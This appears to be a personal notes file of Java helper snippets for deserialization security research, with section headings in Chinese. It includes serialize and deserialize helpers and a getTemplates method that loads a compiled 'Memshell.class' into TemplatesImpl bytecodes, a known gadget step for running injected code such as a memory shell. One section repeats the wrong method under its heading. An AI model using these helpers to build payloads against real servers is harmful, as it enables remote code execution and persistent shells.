序列化反序列化

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public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos=new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos=new ObjectOutputStream(bos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    }
    
    
    public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }


    public static Object unser(byte[] bytes) throws Exception{
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    return objectInputStream.readObject();
}

设置私有属性

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public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj=ois.readObject();
    return obj;
}

getTemplates

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public static Object getTemplates()throws Exception{
    byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\Memshell.class"));
    byte[][] codes={code};
    TemplatesImpl templates = new TemplatesImpl();
    setValue(templates,"_name","aaa");
    setValue(templates,"_bytecodes",codes);

    setValue(templates,"_tfactory",new TransformerFactoryImpl());

    return templates;

}